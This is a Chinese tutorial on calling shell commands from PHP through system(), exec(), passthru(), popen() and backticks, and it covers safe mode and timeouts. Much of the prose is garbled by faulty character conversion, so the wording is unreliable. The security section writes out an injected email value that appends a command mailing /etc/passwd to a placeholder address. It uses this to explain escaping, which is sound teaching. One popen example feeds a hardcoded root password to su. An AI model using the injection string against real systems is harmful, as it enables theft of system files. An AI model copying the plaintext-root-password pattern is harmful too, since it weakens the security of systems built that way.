PHP系统函数exec system passthru

区别:
system() 输出并赶回最后一行shell结果。
exec()
不出口结果,重临最终一行shell结果,全部结果能够保留到三个回来的数组里面。
passthru()
只调用命令,把命令的周转结果原样地向来出口到专业输出设备上。

相同点:都得以获得命令执行的意况码

demo:
//system(‘dir’);
// exec (‘dir’);
// passthru (‘dir’);
// echo `dir`;

PHP作为一种服务器端的脚本语言,象编写不难,可能是繁体的动态网页那样的天职,它完全能够独当一面。但事情不一而再这样,有时为了兑现有些功能,必须注重操作系统的外表程序(或许叫做命令),这样能够实现经济。

那么,是或不是足以在PHP脚本中调用外部命令呢?假诺能,怎么样去做吧?有个别怎么着地点的担心吗?相信您看了本文后,肯定可以回答那么些标题了。

是或不是可以?

答案是早晚的。PHP和别的的先后设计语言同样,完全可以在先后内调用外部命令,并且是很不难的:只要用四个或多少个函数即可。

前提条件

出于PHP基本是用于WEB程序支付的,所以安全性成了人人考虑的3个至关心敬重要方面。于是PHP的设计者们给PHP加了多个门:安全情势。倘若运营在安全情势下,那么PHP脚本少将受到如下四个方面的限制:

执行外部命令

在开辟文件时有点限制

连接MySQL数据库

基于HTTP的认证


安全情势下,只有在一定目录中的外部程序才方可被实施,对任何程序的调用将被拒绝。这几个目录能够在php.ini文件中用
safe_mode_exec_dir指令,或在编写翻译PHP是增加–with-exec-dir选项来钦定,默许是
/usr/local/php/bin。

比方你调用贰个应当能够出口结果的外部命令(意思是PHP脚本没有错误),获得的却是一片空白,那么很只怕您的网管已经把PHP运转在平安形式下了。

如何做?

在PHP中调用外部命令,能够用如下二种格局来促成:

1) 用PHP提供的特别函数

PHP提供共了三个尤其的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很别的语言中的大约,它实施给定的命令,输出和重回结果。第3个参数是可选的,用来获得传令执行后的状态码。

例子:

 

system(“/usr/local/bin/webalizer/webalizer”);

?>

exec()

原型:string exec (string command [, string array [, int
return_var]])

exec
()函数与system()类似,也实践给定的通令,但不出口结果,而是重回结果的最终一行。纵然它只回去命令结果的最后一行,但用第三个参数array
能够收获完整的结果,方法是把结果逐行追加到array的结尾处。所以只要array不是空的,在调用以前最佳用unset()最它清掉。唯有钦命了第四个参数时,才足以用第多个参数,用来赢得命令执行的状态码。

例子:

exec(“/bin/ls -l”);

exec(“/bin/ls -l”, $res);

exec(“/bin/ls -l”, $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru
()只调用命令,不回去任何结果,但把命令的运作结果原样地直接出口到专业输出设备上。所以passthru()函数平日用来调用象pbmplus
(Unix下的三个拍卖图片的工具,输出二进制的本来图片的流)那样的次第。同样它也足以收获命令执行的状态码。

例子:

header(“Content-type: image/gif”);

passthru(“./ppmtogif hunte.ppm”);

?>

2) 用popen()函数打开进度

下边包车型大巴法子只可以大约地执行命令,却不能够与命令交互。但有点时候必须向命令输入一些事物,如在大增Linux的种类用户时,要调用su来把当下用户换成root才行,而su命令须求求在命令行上输入root的密码。那种状态下,用地点提到的措施鲜明是尤其的。

popen
()函数打开2个历程管道来举行给定的指令,再次回到2个文件句柄。既然重回的是二个文书句柄,那么就足以对它读和写了。在PHP3中,对那种句柄只可以做纯粹
的操作格局,要么写,要么读;从PHP4开端,能够而且读和写了。除非那几个句柄是以一种方式(读或写)打开的,不然必须调用pclose()函数来关闭
它。

例子1:

 

$fp=popen(“/bin/ls -l”, “r”);

?>

事例2(本例来自PHP中华夏族民共和国际结盟盟网站http://www.phpx.com/show.php?d=col&i=51):

 

/* PHP中什么增添3个种类用户

上边是一段例程,扩展贰个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = “su –login root –command”;

$useradd = “useradd “;

$rootpasswd = “verygood”;

$user = “james”;

$user_add = sprintf(“%s “%s %s””,$sucommand,$useradd,$user);

$fp = @popen($user_add,”w”);

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也等于键盘上ESC键下边包车型地铁要命,和~在同贰个方面)

本条格局在此以前从未有过归入PHP的文书档案,是作为2个秘技存在的。方法很简短,用四个反撇号把要实践的命令括起来作为1个表明式,那几个表明式的值便是命令执行的结果。如:

$res=’/bin/ls -l’;

echo ‘
‘.$res.’
‘;

?>

其一本子的出口就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要考虑多个难点:安全性和过期。


看安全性。比如,你有一家小型的网上商店,所以能够贩卖的出品列表放在三个文件中。你编写了七个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把那么些产品列表发给他们。假若你没有运用PHP的mail()函数(大概尚未据说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象那样:

 

system(“mail $to < products.txt”);

echo “大家的产品目录已经发送到你的邮箱:$to”;

?>

用那段代码,一般的用户不会时有发生什么样危险,但事实上存在着相当大的安全漏洞。倘诺有个恶意的用户输入了这么2个EMAIL地址:

‘–bla ; mail someone@domain.com < /etc/passwd ;’

那正是说那条命令最后成为:

‘mail –bla ; mail someone@domain.com < /etc/passwd ; <
products.txt’

本人深信不疑,无论哪个互联网管理职员见到这么的一声令下,都会吓出一身冷汗来。

幸亏,PHP为我们提供了多个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把1个字符串
中有所只怕瞒过Shell而去履行其它2个指令的字符转义。这个字符在Shell中是有与众分歧意义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在加以的字符串两边加上单引号,并把字符串中的单引号转义,那样那些字符串
就可以安全地作为命令的参数。

再来看看超时难点。假使要进行的命令要开销不短的年华,那么相应把那么些命令放到系统的后台去运行。但在私下认可意况下,象system()等函数要等到那么些命令运转完才回来(实际上是要等一声令下的输出结果),那势必会引起PHP脚本的超时。消除的方法是
把命令的输出重定向到其余1个文件或流中,如:

system(“/usr/local/bin/order_proc > /tmp/null &”);

?>

 

来自:
http://hi.baidu.com/songdenggao/blog/item/a714728d4e0ae111b31bbafd.html

网站地图xml地图